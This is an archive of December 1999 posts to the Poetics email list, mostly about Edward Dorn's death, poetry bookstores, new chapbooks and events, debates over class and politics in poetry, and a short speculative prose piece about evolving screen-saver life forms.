Thu 16 Dec 1999

Listmates, I must hove to and heave off, and shall leave the List for a week. I have a tiny gift for you, I hope you enjoy, and it is

Quaint

(inspired by Mark Weiss' reply to a correspondent who found Freud 'quaint,'--inspired by but having nothing to do with)

I like quaint. I like to cultivate quaint, to have quaint hanging round my ardent gate, there is nothing like quaint. I look at a woman and I think "quaint," and when this happens, I am always atttracted. Metaphorically speaking, I would eat quaint for breakfast, lunch and dinner. Intellectually speaking, I wish to penetrate quaint. I want to know it back to front and upside down and inside out and I have the equipment for the task, I'm told.

Quaint is a spring day in the rain in England's Cotswold Hills, by the bait-house, beside the marsh, at eleven standing beside your sister who is sixteen inches taller, and thinking youd better not go to bed with her. Quaint is not merely decorative. It fills with meaning and some it it sticks. Quaint tells you, "Dont get any ideas," except, of course, the idea that it's quaint. If I get up in the morning, it's thanks to quaint. I cant recommend quaint highly enough.

I stay up late for quaint. I keep solemn watch for quaint, I abide its coming, as things do to me. When people tell me, "Quaint is catching on too fast and becoming common," I always agree. Because I think its a quaint idea. I'm glad theres quaint enough to go around. Speaking, as we were, of quaint, I double over, as though in pain. I look through my legs and have a great view of quaint. One never gets over it not entirely. Your very existence now is quaint.

David

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219. Poetics List
Re: Edward Dorn, 1929-1999 / Sylvester
Thu 16 Dec 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Tue, Dec 14, 1999 8:39 AM -0500
From: William A Sylvester <[redacted]>

On one reading Dorn gave at UB, he quoted Olson:

Don't write your own poetry.
Write poetry

Dorn certainly did.

Bill Sylvester

On Mon, 13 Dec 1999, Poetics List Administration wrote:

> *The death of Ed Dorn represents a great loss, if not unexpected.*
> *I did not know him, though I found his work delightful and important;*
> *out of respect for his friends, I will offer only this poem from his book*
> *-Geography- (London: Fulcrum Press, 1965). Chris*
>
> *--*
>
> *Mourning Letter, March 29, 1963*
>
> *No hesitation*
> *would stay me*
> *from weeping this morning*
> *for the miners of Hazard Kentucky.*
> *The mine owners'*
> *extortionary skulls*
> *whose eyes are diamonds don't float*
> *down the rivers, as they should,*
> *of the flood*
>
> *The miners, cold*
> *starved, driven from work, in*
> *their homes float though and float*
> *on the ribbed ships of their frail*
> *bodies,*
>
> *Oh, go letter,*
> *keep my own misery close to theirs*
> *associate me with no other honor.*

---------- End Forwarded Message ----------

↑ Index

220. Poetics List
Dylan Thomas-A Child's Xmas in Wales / Fouhy
Thu 16 Dec 1999

This message came to the administrative account. Chris

--

From: George Fouhy <[redacted]>
Date: 12/16/99 1:25 AM -0500

This is the last reading of 1999! Our traditional poetry reading of Dylan Thomas' poem- A Child's Christmas in Wales
read by Poet Ron Price followed by open mike.
Hot cider and cozy atmosphere. Relax and enjoy an evening remembering a long ago Christmas.....
Find details at:

http://www.bestweb.net/~cindyf/poetry_2000.htm

A Peaceful Winter to All.....
Creative Arts Cafe Poetry Series

↑ Index

221. Robert Freedman
Re: sociology of bookstores
Thu 16 Dec 1999

Here's one that is exclusively poetry, but it's mail and phone order, so I don't know if it counts:

The Spring Church Book Company in Spring Church, Pennsylvania is a unique place to get just about any poetry book in print--and many that aren't. The toll-free number is [redacted]. The address is PO Box 127, Spring Church, PA 15686

----- Original Message -----
From: Lowther, John <[redacted]>
To: <[redacted]>
Sent: Tuesday, December 14, 1999 10:36 AM
Subject: Re: sociology of bookstores

> *maria damon wrote;*
> *(and th eonly bookstore nationally*
> *to specialize*
> *exclusively in poetry)*
> *and*

> *i thought there was _Open_ in seattle*
> *its in wallingford (sp?) i think*

↑ Index

222. Wright Laura E
new chapbooks
Thu 16 Dec 1999

New from Poetry New York:
Near To by Mark DuCharme
Hide: what's difficult by Laura Wright

for more info,
http://members.tripod.com/~PNY_journal/

"I would sooner read a timetable or a catalogue than nothing at all."
-W. Somerset Maugham

Laura E. Wright
Norlin Acquisitions
[redacted]

↑ Index

223. Mark Prejsnar
looking @ poetix
Thu 16 Dec 1999

On the way in to work, i was reading the really lovely and useful new Roof book, poetics@ ..... It collects posts from this list, and is superbly edited by Joel K.

Herewith, scattered thoughts; not especially deep.

1. Someone mentioned recently the oddness of producing a hardcopy, ol' fashioned book from internet text... This is true, but once one is reading it, it's clear that this is not unlike collecting essays or whatever: on one level it is primarily a *selection* function; i had read some of these posts in the archive 3 or 3 and a half years ago, when first subscribed myself to the List; but this volume focuses on certain threads in a productive and helpful way ; of course there are other interesting levels, to the project of wrapping paper around the photons of the cyber-nonplace.... But on the simplist level this is a helpful thought-provoking project....

2. i was reading the long exchange between Ron Silliman and Steve Evans, much of which i'd seen before on the archives, and it is one of the high points in the history of the list; this is the one where they somewhat hesitantly designate two "generations" called G1 and G2 and discuss them.

3. Among the main frames of reference in that particular exchange, is the (in)famous Apex of the M manifesto, and the group behind it is a major point of reference as well... Given the salience of that group and their particular ideological framework at that time here on the list, i am somewhat surprised to realize that that whole set of questions, and that group qua group and their ideas about religion and spirituality in relation to nonmainstream writing, so not seem to have had any further public visibility..... Maybe i just haven't been in the right places to see it.... Can anyone enighten me about the further Adventures of the M??? It seems as though the rather abrupt disappearance of their flagship magazine, after a pretty brief existence (i was told it was partly a matter of losing the necessary funding, but the whole story was foggy to me) caused their entire project to disappear like a cartoon magician.... Given the messianic tones of their self-presentation, this seems peculiar...

4. One of the main reflections occasioned by Joel's excellent book is, that the list is rather feeble these days compared to times in the past; i expect this to be fleeting: it has gone thru peaks and valleys again and again...But substantive (and fair and temperate) discussions of poetix ideas have been less in evidence in the last 6 months than maybe anytime i'm aware of.... Ideas are often tossed up, but there is very little solid exchange and extended examination of poetics concerns.....

5. Much happens between Ron and Steve in relation to another topic, one which Ron and many others have discussed at various times in other contexts: whether younger poets (the so called "G2") is lacking in a political or social dimension, and if so what that means... Their exchange remians very rich and i recommend it to folks who have not seen it; but one thing does occur, which constitutes at least my personal perspective on this issue: as we've talked about on the list before, both Ron and Barrett Watten have publicly questioned this depoliticization of the nonmainstream project... But as someone whose poltical edge in my poetry has always grown out of my concerns as an active socialist, it occurs to me that in part these critiques get things backward: If one is actively engaged in building the left, then that is likely to influence the shape and momentum of one's work as a poet... While socially critical poets and poetics have often helped (in a limited way) to create and perpetuate space for independent and rebellious thinking, it may be a little simplistic to feel that a poetics with political goals and edges can live by itself, without the poets having personal involvement with a real left.... At any event, that is the way politics flows within my life: being concerned with and involved with activism, sort of "comes first" logically and existentially; that my poetry and my ideas about poetics are socialist in nature, grows out of that... and doesn't seem all that problematic, at least on one (admittedly simplistic) level, that is very important as a day-to-day lived thing: i live in a certain part of the country; i'm in love with a

certain woman; these things influence my thinking and practice; so does the fact that i am convinced of the need for a total renovation of my society in an antiracist, feminist and socialist direction. Yes questions about the political function of form get real complicated from that point on.... But when i read a superb debate like that between RS and SE, about why younger poets are not as social and political in their ideas and practice, as the wave of the 1970s, i feel that one part of the puzzle is: look to their lives, to what's important to them day to day; ... it may be not only unrealistic, but even undesireable, to ask poets to focus on politics only or mainly *in their work* ... if they care about it in their lives, it seems likely that it will find incarntions in their words...

Anyway, go read the book: it is fun and functional....

-mark

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224. Stephen Vincent
Bookstore Sosh
Thu 16 Dec 1999

In the early seventies I liked it (initially) when Bookstores identified poets by "origin" - particularly new writing coming from new sources with fresh &/or radical views (woman, black, Asian, Latino, etc.) and even did my own book shelves something in that manner (Black Mountain, New York School, Moderns, SF Bay Area (and all the various sub-groupings of that!) African, surrealists, etc. But a few decade later (as good writers got more identified by their writing rather than their group), I became pro-Alphabet I like the chance associations. Baudelaire spine to spine with Ted Berrigan, etc. On the other hand - when I go into out-of-print book search engines, one has to go to hell and back through hundreds of books (so it seems) by Stephen Vincent Benet before you find Stephen Vincent, as I remain.

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225. Keith Tuma
Dorn
Thu 16 Dec 1999

Adding to the Dorn obituary Charles Bernstein forwarded yesterday this from today's _The Independent_ (England), written by Tom Raworth. It's accompanied by a photograph of Dorn and a poem from _Hands Up!_ (1964), "A Fate of Unannounced Years." Hoping that the editors at the _Chicago Review_ won't mind, I'll also append a recent poem by Dorn published there (45.2, 1999).

***

EDWARD DORN

With the death of Edward Dorn the United States loses not only one of its finest poets but a rare critical intelligence and cultural commentator. Edward Merton Dorn was born in rural Illinois at the start of the Great Depression, in poverty. He was educated in a one room schoolhouse, then High School (where he helped on the local newspaper) and for two years at the University of Illinois. He worked for a while at the Boeing plant in Seattle, returned to Illinois, and through his art teacher Raymond Obermayr was directed towards Black Mountain College in North Carolina where he arrived in the autumn of 1950. In 1951 he left and travelled to the Pacific Northwest, where he did manual work and met his first wife, Helene. In late 1954 they returned to Black Mountain, where he studied under Charles Olson (Dorn's first published work was the pamphlet What I See in the Maximus Poems) and graduated in 1955 with Robert Creeley as one of his examiners. After two years of further travel the family settled in Washington state. Their life there, on the edge of poverty, is vividly portrayed in Dorn's first prose book, The Rites of Passage (later republished as By The Sound). By 1959 they were in New Mexico, and at the end of 1961 moved to Pocatello, where Dorn taught at the University of Idaho until the middle of 1965. Donald Allen's anthology The New American Poetry (1960) included some of Dorn's early poems, but his first book The Newly Fallen was not published until 1961 by Amiri Baraka (then LeRoi Jones)'s Totem Press in New York. Three years later the same press published Hands Up! Poems from this period, so clear, moving, unromantic and filled with the memories of his hard early life -- On the Debt My Mother Owed to Sears RoeBuck, for example -- echoed not only in the United States, but across the Atlantic. In the summer of 1965 Dorn and the photographer Leroy Lucas collaborated on The Shoshoneans: The People of the Basin Plateau -- a book too long out-of-print which anticipated the now fashionable interest in all things Native American, and gracefully left the last words not to the authors, but to Clyde Warrior, an activist. That autumn, at the invitation of Donald Davie, the family arrived in England where, with a year's break, Dorn was to teach at the new University of Essex until 1970. Dorn arrived already aware of the work of young British poets such as Tom Pickard and Lee Harwood, and he had corresponded for some time with J.H.Prynne (who accompanied the Dorns on their trans-atlantic liner). The American poet Tom Clark was a graduate student at Essex and shared many of Dorn's interests. Creeley, Olson and other visitors passed through the various flats and houses in Colchester and Wivenhoe. On the faculty was Gordon Brotherston, and Dorn began with him a series of collaborative translations of Latin American poetry that continued for decades. He met Jennifer Dunbar, his second wife. In London there was a lively small press scene and Stuart and Deirdre Montgomerys' Fulcrum Press published two collections of poems: Geography

(1965), and The North Atlantic Turbine (1967). And Dorn began to write Gunslinger, one of the major North American long poems, first published as a sequence of books while in progress and finally as one volume in 1975, the year after its completion. Those years saw the Dorns in Chicago, in Mexico, and, with occasional breaks, in San Francisco. Dorn's early newspaper experience and his work in the Print Shop at Black Mountain combined in the tabloid Bean News, with contributions by Prynne and other correspondents. His neighbour Holbrook Teter's old linotype machine, held together with wire, produced the type for this, and for the complete Gunslinger, while Teter's partner Michael Myers drew the elegant cover for Recollections of Gran Apachería, Dorn's next book. In the autumn of 1977 Dorn began to teach at the University of Colorado in Boulder where, in 1980, he and his wife Jennifer started Rolling Stock (motto: If it moves, print it!), a newspaper sized journal that encompassed their many interests (including a delightful golf column by Nick Sedgwick) and ran throughout the decade. Still happy to work with his hands he built his own workroom with scrap timber. The academic world didn't escape his pen... Captain Jack's Chaps (1983), is an hilarious account of the MLA conference in Houston, and he ended the decade with Abhorrences (1990), a collection of short, savage observations. During his last years he continued to travel... in Montana, in Wyoming.. and to write (even a Country and Western song) with undiminished energy. An exchange year teaching in the south of France, at Montpellier, sparked a new interest in the Cathars and Simon de Montfort. It is thanks to Nicholas Johnston's Etruscan Books that some of his later work is in print in Britain. Dorn suffered fools not at all, and sloppy thinking not for a moment: a lonely position at the best of times, and one that made him almost persona non grata in the current literary and academic climate of his homeland. For anyone interested to see how wit, intelligence and a dispassionate eye can survive through pain, I suggest reading Chemo du Jour (Denver Quarterly, Spring 99) ... .the Clinton impeachment seen through chemotherapy.

A line in a note this morning from the Swansea-born poet Doug Lang comes to mind: "When I first read his work, in 1970, it changed my idea about what poetry could be."

He died at home, in his own bed, with his family beside him, in the West: a pure American who didn't go crazy. Fools can sleep easier.

Edward Merton Dorn, poet and teacher: born Villa Grove, Illinois, USA, 2 April 1929. Married Helene Buck (one son). Married Jennifer Dunbar (one son, one daughter); died 10 December 1999, Denver, Colorado USA.

***

A Fate of Unannounced Years

I will have to pick my cluster of grapes
in this country,
after everyone else has gone
to Korcula or Spain. It will be strange
here, walking through the parks, the folding
chairs gone, the meandering lovers
and old women in their Sunday hats gone;
an empty air, and a peaceful kind of rest.
Finding myself in america
slowly walking around the deserted bandstand, waiting
for the decade, and the facetious new arrivals.

--Edward Dorn

***

Tribe

My tribe was lowdown struggling day labor
Depression South Eastern
Illinois just before the southern hills start
to roll toward the coal country
where the east/west morainal ridges
of Wisconsin trash pile up
at the bottom of the prairie, socially
a far midwest recrudescence of Appalachia
my grandfather French Quebecois
Master pipefitter in the age of steam
Indian fifty percent, very French
who didn't derogate himself
as a breed, showed none of those tedious
tendentious tendencies. Came down
from Chebanse, from the Illinois Central
in Iroquois County, to the Chicago &
Eastern Illinois line's division at Villa Grove
in one of the Twenties boomlets,
the last precipitous edges of the great devolvment

These forebears on my mother's side
owned a nice clapboard house in old town
where I was brought up off and on during
the intensity of the depression nomadism,
wandering work search, up and down
the bleak grit avenues of Flint, following
other exodus relatives, Belgian in-laws

from another French connexion
Michael Moore-land from the beginning
manmade poisons in the cattle feed way
before Creutzfeldt-Jacob disease and angry cows--
governments always conspire against
the population and sometimes
this is not even malice;
just nothing better to do.

I'm with the Kurds alright--
World Leaders can claim
what they want about terror,
even as they wholesale helicopter gunships
to the torturers--even as they lie like Clinton
and his crazy battle-axe Secretary of State.

But I'm as proud of my tribe as if I were a Kurd,
my pure Kentucky English great grandma--
it would take more paper
than I'll _ever have_ to express how guiltless
and justified I feel.

--Ed Dorn

↑ Index

226. Summi Kaipa
happi-, sad-, fearless- nesses
Thu 16 Dec 1999

---

a poetry without human-ness informing it? take out all nesses & it gets quite boring.

sad-ness that as an upper caste-er you cannot play with the lower caste-er. as though the rules, once again, impede the progress of the upper castes. a yup-pie couple in san francisco moves into an industrial "live/work" space and then begins to call the police to complain about the noise.

perhaps what the sun can't reach (this is a more universal saying than you might imagine for it exists in many Indian languages too--i've certainly heard it in telugu) are the innards/nesses which you so easily dismiss.

sumana siva kaipa
caste-less-ness?

At 02:28 PM 12/14/99 -0700, you wrote:
>I open up the computer and I find myself back in my old village, with the

>same cowshit. Whiteness/Blackness/Brown-ness/Pink-ness/and all mess of
>nesses, race, identity, ethnicity, whatever you want to call it. Let
>poetry be poetry. It does not need a caste. I recall back in the
>cobra-infested, mosquito-danced village in Nepal where I was born and
>raised how, when a kid was born, the priest had the sole/soul authority to
>name it. I am Hom not because my parents wanted me to be Hom but because
>the priest decided so, because they got the credentials, not you not me.
>And the last name always gives the caste which gives the nature. I
>remember one day my mother telling me not to play with the children of
>other caste.
>Can we play now? Can all of us play, or do we have to have find out from
>the priests how to judge? Do we first have to know the
>caste/tribe/ethnicity/class/gender/color/sexual orientation/the dinner
>they eat/how fat they are to "understand" their work? Yes I understand
>it's helpful but to a very lesser degree. The typical people in my village
>say, "Where the sun can't reach poets easily reach." (Ravi napugne thaonma
>kavi pughchhan.) When I look in the face of poetry it does not know color,
>race, bank account, etc.
>So here I am on the World Wide Web reaching everybody's mouth in
>cyberspace, all these poets from universities, especially America--The Big
>Place, the House of the High Priest--and as we say in Nepal, it's Back To
>Mangalamon!
>
>best,
>Hom.

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227. MAYHEW
Prynne
Thu 16 Dec 1999

Re Brian Stefans' intelligent post yesterday: If the New Yorker published Prynne in great abundance, how would this be seen? After a while people would say that Prynne had been co-opted, that "of course the New Yorker publishes Prynne, but not the numerous other poets it should publish." Just as the New Yorker has published Asbhery for the past twenty years. This is not seen as a sign of the New Yorker's hipness, but, as it were, of a certain lack of hipness of Ashbery himself--he's the sort of poet who writes for the New Yorker. So there is a sort of Asbhery of the "right" and an Asbhery of the "left." The Ashbery of Vendler and Bloom and the Ashbery of Perloff, etc... Interestingly enough, one of the poets nominated for this prize is John Koethe, an excellent poet though derivative of the more accessible, New Yorker side of Ashbery.

Which brings me back to the Lehman book. Isn't it sort of the New York school of the right that appears in this book? Lehman himself represents the legacy of the New York school when filtered through an essentially conservative viewpoint. for example the cute villanelle in that big Norton Postmodern anthology...

Jonathan Mayhew
[redacted]

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228. Catherine Daly
Re: sociology of bookstores
Thu 16 Dec 1999

I was in a Borders the other day -- a poetry reading was my excuse -- looking for a book on the Huns. Lo, I found significant amounts of poetry in the History section, which is subcategorized by time: classical, below the Loeb Classics Library, and next to that, Medieval Studies, etc.

Even Powell's is divided this way, but at least "the classics" are next to the poetry. Literary Theory, in the center of a u-shaped Literature section, had some of the "missing" Philosophy.

I think it is ironic that ideas are being redivided by the "common" threads people seek, but it is a significant marketing tool.

My mom reports that jobs in the classifieds used to be categorized "male" and "female".

As for the Grolier, I went out of my way to get there the last time I was in Boston, quickly grabbed a lot of stuff, and then Louisa was very disappointed, since unbeknownst to me, there was a big 1/2 off sale. Which led me to wonder, if she didn't want to sell anything at a discount, why was she having a sale?

She will order by e-mail:

E-Mail the Louisa Solano at the Grolier Bookshop
[redacted]

Visit the Grolier Bookshop Web Site
http://world.std.com/~jpwilson/grolier.html

Regards,
Catherine Daly
[redacted]

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229. Mark Prejsnar
No Longer Contemporary
Thu 16 Dec 1999

Well it appears Silliman and Bernstein and all those old fogeys have finally acheived historicity (or had it thrust on 'em)--

This text appears in the new catalog from Univeristy Press of New England:

"Founded in 1971, and internationally famous as the formost publisher of scholarly work on Ezra Pound and the Pound tradition, National Poetry Foundation is dedicated to publishing the language poets, Black Mountain school, and Beat poets, as well as contemporary work."

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230. Loss Pequeño Glazier
Report on the Electronic Poetry Center, Dec. 1999
Thu 16 Dec 1999

EPC REPORT -- POETICS LIST December, 1999

The Electronic Poetry Center, now after almost six years of operation, has established itself internationally, nationally, and at UB as a significant web-based resource for poetry and is one of UB's most visible digital projects. We wanted to give a report on the EPC, including some information not easily available. Please contact us if you would like more information.

Loss Pequeño Glazier, EPC Director
Charles Bernstein, EPC Executive Editor

Statistics
Based on November, 1999, statistics:
Annual hits per year: 7.5 million (or about 21,000 per day)
Our most popular section is the author pages, but there is significant activity
on the entire site.
Total annual hits to all our on-line syllabi: 22,000 (about 60 a day)
The Poetics Program home page gets about 20,000 hits per year, and the Program
description about 2,500 (or about 7 per day).

November visitors came from the U.S., and over 90 foreign countries (full list at the end of this message).

New
Some new links and features at the EPC include:
- An Evening with Robert Creeley in Real Video (forthcoming)
- The EPC Electronic Poetry page (forthcoming)
- Impulsive Behavior Andrews, Torres, Bernstein in Real Video
- Samuel Delany Author Page
- Lyn Hejinian Author Page
- Joanne Kyger Author Page
- Ted Berrigan Author Page
- William Burroughs Author Page
- Ethnopoetics at the Millennium (Jerome Rothenberg)
- Three Paris Elegies (Rothenberg)
- Tinfish #7
- Deluxe Rubber Chicken #4

Please visit the EPC (http://epc.buffalo.edu/) and select "New" for these and other recently-listed items!

--- ---

International Use of the EPC
November visitors came from the U.S., and over 90 foreign countries (in order of frequency):
United Kingdom
Canada
United States
Australia
Germany
United Arab Emirates
Sweden
Japan
France
Netherlands
Brazil
New Zealand
Italy
Norway
Argentina
Singapore
Finland
Belgium
Austria
Spain
Mexico

Switzerland
Denmark
Malaysia
Ireland
Poland
Russian Federation
South Africa
Thailand
Indonesia
Greece
Georgia
Israel
Taiwan
South Korea
Saudi Arabia
India
Croatia
Hungary
Trinidad and Tobago
Czech Republic
Turkey
Portugal
Hong Kong
China
Iceland
Estonia
Romania
Morocco
Slovenia
Ukraine
Peru
Yugoslavia
Uruguay
Chile
Colombia
Lebanon
Jordan
Dominican Republic
Bulgaria
Slovak Republic
Pakistan
Tadjikistan

Nicaragua
Bermuda
Venezuela
Latvia
Luxembourg
Philippines
Kazakhstan
Vatican City State
Bosnia-Herzegovina
Former USSR
Lithuania
Costa Rica
Moldavia
Mozambique
Malta
Faroe Islands
Uganda
San Marino
Dominica
Kenya
Bahamas
Iran
Sri Lanka
Brunei Darussalam
Belarus
Christmas Island
Cyprus
Ecuador
International
Kyrgyzstan
Qatar

END OF REPORT

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231. Katie Degentesh
class stand
Thu 16 Dec 1999

Kathy: Looks to me as if the fact that you're used to being "personally attacked" for insisting on the importance of class issues in poetry has left you a bit

defensive. I'm not arguing for the 'divorce' of sociopolitics and poetry -- I just don't think codependence is healthy.

And, for you and everyone else, just to clarify once again: the theme of my original post wasn't "who cares about class" but "why is class the main concern on a poetics list?" As I said in a private post to Kathy (her original response was sent to me only and forwarded to the list a day or so later; I didn't keep a copy of what I sent her privately, so I must paraphrase): I completely agree that 'class/race/gender/blah blah blah' does infuse the writing of everyone who writes.

But, as Leonard pointed out, if class is a part of poetics, it doesn't follow that a discussion of class is automatically a discussion of poetics, and focusing solely on class when discussing poetics is like wearing blinkers -- they may be differently configured than the blinkers of those who, in KLS' words, stick their "head in the sand, in effect saying 'don't talk about things like racism that make me uncomfortable,'" but they're still blinkers. To pick any one filter through which all poems must be processed is extremely limiting -- to go from the limitations of one particular class (e.g., the "administration of culture") to an arena in which a poet's capital-c Class is the primary concern when evaluating his or her work is barely an improvement.

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232. Undetermined origin c/o LISTSERV administrator
sorry for the multi-address
Thu 16 Dec 1999

---

my apologies to anyone who is uninterested in this

it was forwarded to me by poet sheila murphy
and ive looked at it a bit --- it seems
on the up and up to the limited extent
that i can tell from looking at it --- i made it the
page that comes up automatically
when i pull up the web, then i can give it a click

cdnt hurt.. (cd it?)

> *Subject: HUNGER*
> *Quite clever of the UN to do this. Go to the Hunger Site at the UN. All you do is click a button and somewhere in the world some hungry person gets a meal to eat, at no cost to you. The food is paid for by corporate sponsors (who gain advertising in the process because you see their logo). All you do is go to the site and click. But you're only allowed one click per day. So spread the word to others. Visit the site and pass the word.*

> *http://www.thehungersite.com*

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233. David Gitin
Re: quaint
Thu 16 Dec 1999

You do know, David, its more common variant, what it is a man seeks, and re-buffed, often in anger calls a lady?

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234. Charles Bernstein
MLA Events / Chicago 1999
Thu 16 Dec 1999

Here are several Chicago MLA events with which I am involved:

Session #168: Tuesday, Dec. 28th at 8:30am in Parlor F (Sheraton). "Globalization and the Possibilities for a Literature of the Americas." Session Leader: Ernesto Grosman, with talks by Lucia Helena Santiago Costigan, Roland Greene, and Grosman. I'll be the respondent.

Session #597A. Wednesday, Dec. 29, 3:30pm, Columbus Hall I and J, Hyatt Regency. "Conversations with Poets: Robert Creeley." Creeley will read poems and respond questions from the audience and from Susan Stewart, Sandra Bermann, and me.

Session # 640. A Poetry Reading by Kathleen Fraser and Lorenzo Thomas, in honor of their forthcoming essay books from the University of Alabama Press; Water Tower (Hyatt-Regency). Hank Lazer will introduce. (Note the Paul Hoover reading oriognally scheduled for this time has been cancelled.) STOP BY the University of Alabama Press table (booth 303) for information about the Modern and Contemporarty Poetics series -- and a preview of these new books.

Session #717. Wednesday, Dec. 29, 9pm, Cominsky (Hyatt Regency). "Poetry and the Inauthentic." *An all Poetics List panel* on fraud, hoaxes, sincerity, and identity. Bob Perelman, Presiding; talks by Brian McHale, Philip Mead (on 'Ern Malley), Hank Lazer, and me. Sadly, Mead is unable to get to US but Bob Perelaman will read his paper and no doubt add some thoughts of his own on the Malley affair.

Hope to see some of you there (please say hello!) --

& best for the Holidays to all in Poetics Listville!

Charles

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235. Elizabeth Treadwell
Lucy House Preview
Thu 16 Dec 1999

Lucy House: an anthology of prose

is under construction now

right now you can read new prose by

Liz Waldner
Susan M. Schultz
Cydney Chadwick
Brenda Coultas

by clicking the URL below.

_____
Elizabeth Treadwell
Double Lucy Books & Outlet Magazine
http://users.lanminds.com/dblelucy

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236. Christopher L. Filkins
Re: yes, by Doctor Leopold Konninger
Thu 16 Dec 1999

---

bravo nikuko! i can see your toes as they were feathers on the moon!

> *From: Alan Sondheim <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Date: Wed, 15 Dec 1999 11:22:06 -0500*
> *To: [redacted]*
> *Subject: yes, by Doctor Leopold Konninger*
>
> **
>
> *yes twirling_nikuko_! > zz; head -200 zz > yy; pico yy*
>
> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*
> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*
> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*
> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*
> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*
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> *twirling_nikuko_! twirling_nikuko_! twirling_nikuko_! twirling_nikuko_!*

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237. Charles Bernstein

[redacted]

Fri 17 Dec 1999

Loss Glazier has just put up a Dorn page at the EPC, featuring Tom Rawoth's obituary in the Independent (posted to the list by Keith Tuuma), along with a reproduction of the obit as it appeared in the Independent; a link to the Guardian obituary (which I posted on the list); plus a short note from Tom Raworth (sent via Robert Creeley).

You can find a link to this page at the bottom of the EPC's home page or go direct:

http://epc.buffalo.edu/documents/obits/dorn/

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238. Maria Damon

hornblowing

Fri 17 Dec 1999

---

i just had an essay come out in College Literature 27:1, special issue on Teaching Beat Literature. my piece is called "Triangulated Desire and Tactical Silences in the Beat Hipscape: Bob Kaufman and Others," and it's about BK and the queer scene in the SF renaissance. it is an expansion of the paper i gave several years ago at the Queer Beats conference in SF (thanks Kevin K for the opportunity!) i'd be interested in feedback from folks cuz i want to make it better (always) --bests, md

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239. Mark Prejsnar

coopted Ashbery

Fri 17 Dec 1999

Re Brian Stefans' intelligent post yesterday: If the New Yorker published Prynne in great abundance, how would this be seen? After a while people would say that Prynne had been co-opted, that "of course the New Yorker publishes Prynne, but not the numerous other poets it should publish." Just as the New Yorker has published Asbhery for the past twenty years. This is not seen as a sign of the New Yorker's hipness, but, as it were, of a certain lack of hipness of Ashbery himself--he's the sort of poet who writes for the New Yorker. So there

is a sort of Asbhery of the "right" and an Asbhery of the "left." The Ashbery of Vendler and Bloom and the Ashbery of Perloff, etc... Interestingly enough, one of the poets

****

The above is only partly true, at best.... Many folks on this list, folks whose own work and taste are pretty darn anti-New Yorker (shall we say) respect the hell out of J. Ashbery and his work..... And yes many of 'em say (pretty accurately) that JA long ago became a kind of token, for that mag, and for the conservative mainstream in general... I guess caring one way or the other about the NYer itself, is kind of a waste of energy, a kind of looking in the wrong direction.... But the post quoted above, from Jonathan, may be a little on the harsh side: many people do actually realize that JA is not "the kind of poet who wrties for the New Yorker". Even tho' he writes for the New Yorker!

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240. Brendan Lorber
thanks from LUNGFULL!
Fri 17 Dec 1999

A hearty thanks to everyone who showed up for the LUNGFULL! Magazine release party earlier this month. Thanks to those who read their work & embodied the liveliness & perception that the magazine tries to capture. Thanks also to those who came late or left early but still managed to come despite the flu or all-consuming schedules. Additional thanks to the two people I chased down the street trying to retrieve the copies of the magazines they stole & to others who managed more successfully to abscond with Lungfull!s -- obviously I don't dig getting ripped off but if you NEED poetry that bad, I appreciate your enthusiasm & who am I to stop you? Larceny = the highest form of flattery. Props in advance to everyone who puts up poetry stickers around their neighborhood. Vandalism = the second highest form of flattery. The event also shone a little light into the dark shadow of the printer's bill, for which I & my kneecaps are grateful.

I was delighted at the turnout & the affability of both devout lyricists & experimenters as they rubbed shoulders. Anyone who couldn't make it but would like a copy or two of their very own, here's how one can subscribe: It's $13.90 for two issues, one year or a scant $27.80 for four issues, two years. Checks should be made out to Brendan Lorber rather than to Lungfull! Magazine & sent to 126 east 4th Street #2, New York, NY 10003. You can also just stop by Lungfull! World Headquarters at that address & look for the editor in the window to the right of the stoop. This issue features forty writers & visual artists, among them Bill Berkson, Eileen Myles, Indran Amirthanayagam, Tuli

Kupferberg & Buck Downs. Also Letters to the Editor from the likes of Hoa Nguyen of Skanky Possum, Albert DeSilver of The Owl Press, Chris McCreary of Ixnay, Eddie Berrigan of Log & someone claiming to be Jewel.

Those who have had a chance to look over the latest issue, or were at the event I'd love to hear what you think, good & bad, backchannel or front.

Yours,
Brendan Lorber

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241. Kimmelman, Burt
Series on New Media at NJIT
Sat 18 Dec 1999

If you are in the physical/material neighborhood, then please do attend a series on New Media to be presented at New Jersey Institute of Technology (presenters will be: Diane Greco, Chris Funkhouser, Tina La Porte, and Stephanie Strickland). Details can be found here:
http://eies.njit.edu/~kimmelma/newmedia.html.

- Burt Kimmelman

[redacted]
http://eies.njit.edu/~kimmelma

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242. Alan Sondheim
Intelligent Life Screen Savers
Sun 19 Dec 1999

\

Intelligent Life Screen Savers

I foresee, by 2020, the creation of fully implemented Intelligent Life Screen Savers (ILSS); these work on hi-giga/low-terahertz desktop compu- ters carrying efficient evolutionary programs; the carrying capacity of the screen savers will be in gigahertz at a minimum. The ILSS will create artificial life forms at a high rate of speed; evolution will guarantee fast-forward generations flickering at, at least, a megahertz/second rate. It should be possible for full consciousness to develop within the first twenty minutes of standby; the life forms produced will perceive the ILSS as a local homeland, worth defending - but such actions are always already foreclosed by the desktop owner playing, for example, a game of chess on the Internet, necessitating many minutes of intense concentration, fol- lowed by a few furious mouse-clicks.

The user, by reactivating the screen and canceling the ILSS, will have also eliminated those life-forms which have been created, living at high speed, developing their own cultured environments, memoirs and histories. Theories of inflationary universes might abound, only to be destroyed, along with the rest of the cultural debris, in the split second the ILSS retreats to the background, the clumsy programs interfacing with the clumsy users.

However, it may also be possible for the ILSS only to go into quiescence, saving such forms and environments from one active session to the next. Surely the forms will learn methods of obscuring their tracks; like worms or viruses, they will exist within the interstices of hard drives, until the final crash. On the other hand, like Star Trek beaming, they may re- constitute themselves across the Net, invisibly burrowing, reappearing elsewhere, on other screens, other ILSS homelands, always on the run.

But I think not, and meditate on the fast-forward evolution and full con- sciousness - development of whole cultures, economies, interactions - only to be thwarted by the next insipid movement of the mouse, click of the keyboard, new worlds lost forever ...

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243. Jerrold Shiroma

Small Press List @ Duration

Mon 20 Dec 1999

